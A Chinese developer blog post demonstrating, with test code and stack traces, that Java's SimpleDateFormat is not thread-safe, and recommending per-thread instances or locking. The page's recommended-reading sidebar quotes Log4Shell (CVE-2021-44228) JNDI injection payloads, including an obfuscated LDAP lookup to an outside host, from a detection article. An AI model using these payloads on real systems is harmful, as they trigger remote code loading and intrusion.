Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >DateFormat 线程不安全

DateFormat 线程不安全

作者头像
囚兔
发布于 2018-02-08 02:51:17
发布于 2018-02-08 02:51:17
72300
代码可运行
举报
文章被收录于专栏:IT杂记IT杂记
运行总次数:0
代码可运行

一、测试

测试代码如下: 

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

    public static void main(String[] args) throws ParseException{
        for (int i = 0; i < 2; i++) {
            Thread t = new Thread(new TestRunnable(), "t-" + i);
            t.start();
        }
    }

    static class TestRunnable implements Runnable {

        @Override
        public void run() {
            while(true) {

                long dateTime = 0;
                String dateStr = "2016-05-09 08:21:02";

                try{
                    Date dt = sdf.parse(dateStr);
                    dateTime = dt.getTime();
                } catch(Exception e){
                    e.printStackTrace();
                }

                if(dateTime < 0) {
                    System.out.println(dateTime);
                }
            }
        }
    }

输出结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.lang.NumberFormatException: For input string: ""
	at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
	at java.lang.Long.parseLong(Long.java:453)
	at java.lang.Long.parseLong(Long.java:483)
	at java.text.DigitList.getLong(DigitList.java:194)
	at java.text.DecimalFormat.parse(DecimalFormat.java:1316)
	at java.text.SimpleDateFormat.subParse(SimpleDateFormat.java:2088)
	at java.text.SimpleDateFormat.parse(SimpleDateFormat.java:1455)
	at java.text.DateFormat.parse(DateFormat.java:355)
-125744830738000
-61916917138000
-61916917138000
	at com.tiza.ngp.rp.sanhui.util.Utils$TestRunnable.run(Utils.java:214)
	at java.lang.Thread.run(Thread.java:745)
java.lang.NumberFormatException: For input string: ""
	at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
	at java.lang.Long.parseLong(Long.java:453)

结果要么抛异常,要么结果为错误的负值。

二、简单分析

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public abstract class DateFormat extends Format {

    /**
     * The {@link Calendar} instance used for calculating the date-time fields
     * and the instant of time. This field is used for both formatting and
     * parsing.
     *
     * <p>Subclasses should initialize this field to a {@link Calendar}
     * appropriate for the {@link Locale} associated with this
     * <code>DateFormat</code>.
     * @serial
     */
    protected Calendar calendar;

    ...
}

DateFormat类使用了Calendar对象来维护parse和format过程中的日期时间值,当多线程同时使用同一个DateFormat对象,也就是多线程同时使用同一个Calendar对象来维护parse或format过程的日期时间值,必定会发生错乱。

引用Java api文档:

Synchronization Date formats are not synchronized. It is recommended to create separate format instances for each thread. If multiple threads access a format concurrently, it must be synchronized externally.

三、解决方案

使用中要么为每个线程创建一个DateFormat实例,要么对其外部加锁。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
curl命令使用
一、curl常用命令 这个命令我在linux下用的多一些,windows也可以,可以说是一款很强大的http命令行工具,支持上传、下载等操作,非常莱斯的工具。 1、get请求:并返回resp curl https://www.gaojs.com.cn # 测试请求是否可达:显示一次http通信的整个过程,包括端口连接和http request头信息 curl -v https://www.gaojs.com.cn 2、post请求 # post请求 curl -X -POST https://w
懿曲折扇情
2022/08/24
5K0
curl命令使用
检测涉及CVE-2021-44228影响产品
Apache Struts 2 http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}' http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/ VMWare VCenter "X-Forwarded-For
Khan安全团队
2021/12/15
9660
CentOS 7.2 部署邮件服务器(Postfix)
版权声明:本文为木偶人shaon原创文章,转载请注明原文地址,非常感谢。 https://blog.csdn.net/wh211212/article/details/53040620
shaonbean
2019/05/26
2.2K0
常在web漂,哪有不挨刀:curl独门绝技,不来学几招防身吗?
curl 支持多种协议,如DICT、FILE、FTP、FTPS、Gopher、HTTP、HTTPS、IMAP、IMAPS、LDAP、LDAPS、POP3、POP3S、RTMP、RTSP、SCP、SFTP、SMTP、SMTPS、Telnet和TFTP。
程序员小助手
2020/04/09
9950
常在web漂,哪有不挨刀:curl独门绝技,不来学几招防身吗?
curl的安装与简单使用
安装篇: 我的电脑版本是windows7,64位,对应的curl下载地址如下: https://curl.haxx.se/download.html 直接找到下面的这个版本: curl-7.57.0.tar.gz gpg mirror metalink 解压,然后,命令行进入到 curl 目录下: 我的路径为:E:\curl-7.57.0\curl-7.57.0 在该目录下 —— git bash here,或者,wind+r 快捷键  输入cmd ,然后到该目录下 然后,就可以用curl 命令了 例如:
小小明童鞋
2018/06/13
1.4K0
linux curl命令详解_curl详解
curl(CommandLine Uniform Resource Locator),即在命令行中利用URL进行数据或者文件传输。
全栈程序员站长
2022/11/01
17.1K0
CURL 那些不太为人知但强大的功能
对每个人而言,真正的职责只有一个:找到自我。然后在心中坚守其一生,全心全意,永不停息。所有其它的路都是不完整的,是人的逃避方式,是对大众理想的懦弱回归,是随波逐流,是对内心的恐惧 ——赫尔曼·黑塞《德米安》
山河已无恙
2025/03/29
940
CURL 那些不太为人知但强大的功能
curl 用法
背景 linux上发起http请求 使用方法 # get请求 curl "http://jwen.me/" # 获取返回的信息头 curl -i "http://jwen.me/" # post请求 curl -X POST -d "name=jwen&age=29" "http://jwen.me/" # 自定义header curl -H "Accept-Language: en-US" "http://jwen.me/" # 采用压缩方式接收返回数据 curl --compressed "h
千往
2019/09/29
2K0
PostFix+Dovecot 部署邮件系统
Postfix 是一种电子邮件服务器是一个开放源代码的软件. Postfix 是MTA邮件传输代理软件.是sendmail提供替代品的一个尝试,在Internet世界中,大部分的电子邮件都是通过sendmail来投递的,大约有100万用户使用sendmail,每天投递上亿封邮件,Postfix试图更快、更容易管理、更安全,同时还与sendmail保持足够的兼容性.
王 瑞
2022/12/28
3.2K0
PostFix+Dovecot 部署邮件系统
Zmail———极简方式用python发送邮件
Zmail 使得在python3中发送和接受邮件变得更简单。你不需要手动添加服务器地址、端口以及适合的协议,zmail会帮你完成。此外,使用一个python字典来代表邮件内容也更符合直觉。
胡八万
2022/05/16
2.5K0
Python 学习入门(5)—— 发送邮件
下载 email-6.0.0a1.tar.gz 或 Mail-2.1.0.tar.gz
阳光岛主
2019/02/19
7470
Python 学习入门(5)—— 发送邮件
每天学一个 Linux 命令(73):curl
curl 命令使用 HTTP、HTTPS、FTP、FTPS、SCP、SFTP、TFTP、DICT、TELNET、LDAP或FILE支持的协议之一,将数据传输到网络服务器或从网络服务器传输数据。它非常适合在 Shell 脚本中使用。
民工哥
2021/03/30
7430
轻量折腾计划1,搭一个域名邮箱来玩玩
这是一个系列,初期预计将有9-10篇左右的文章,旨在记录我折腾腾讯云的轻量应用服务器的相关过程,欢迎感兴趣的读者关注。
NNT
2021/07/22
4.5K1
轻量折腾计划1,搭一个域名邮箱来玩玩
Linux使用mail配合smtp发送邮件
由于工作需要结合shell脚本需要发送邮件通知,linux自带的mail可以实现外部smtp发邮件。不需要本地配置postfix,sendmail邮件服务器。
星哥玩云
2022/05/26
4K0
Linux使用mail配合smtp发送邮件
CentOS 7.4升级Curl版本
Curl是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称Curl为下载工具。Curl还包含了用于程序开发的libcurl​。
子润先生
2021/06/29
4.7K0
curl 命令详解
转载于: https://www.cnblogs.com/guixiaoming/p/8507268.html
全栈程序员站长
2022/09/07
6420
SMTP和IMAP的配置方法?
SMTP(Simple Mail Transfer Protocol)和IMAP(Internet Message Access Protocol)是两种常用的邮件协议,分别用于发送和接收邮件。配置SMTP和IMAP是设置邮件客户端的重要步骤,aoksend将介绍它们的配置方法。
AokSend-API接口
2024/03/26
1.6K0
CentOS使用SMTP第三方发送邮件
SMTP称为简单邮件传输协议(Simple Mail Transfer Protocal),目标是向用户提供高效、可靠的邮件传输。它的一个重要特点是它能够在传送中接力传送邮件,即邮件可以通过不同网络上的主机接力式传送。通常它工作在两种情况下:一是邮件从客户机传输到服务器;二是从某一个服务器传输到另一个服务器。SMTP是一个请求/响应协议,它监听25号端口,用于接收用户的Mail请求,并与远端Mail服务器建立SMTP连接。
张琳兮
2018/09/10
1.8K0
CentOS使用SMTP第三方发送邮件
结合Spring发送邮件的四种正确姿势,你知道几种?
测试使用的环境是企业主流的SSM 框架即 SpringMVC+Spring+Mybatis。为了节省时间,我直接使用的是我上次的“SSM项目中整合Echarts开发”该项目已经搭建完成的SSM环境。
用户2164320
2018/08/10
9280
结合Spring发送邮件的四种正确姿势,你知道几种?
使用Rust发送邮件
SMTP(简单邮件传输协议,Simple Mail Transfer Protocol)是一种用于发送和接收电子邮件的互联网标准通信协议。它定义了电子邮件服务器如何相互发送、接收和中继邮件。SMTP 通常用于发送邮件,而邮件的接收通常由 POP(邮局协议)或 IMAP(互联网消息访问协议)来处理。
fliter
2024/01/09
6630
使用Rust发送邮件
相关推荐
curl命令使用
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验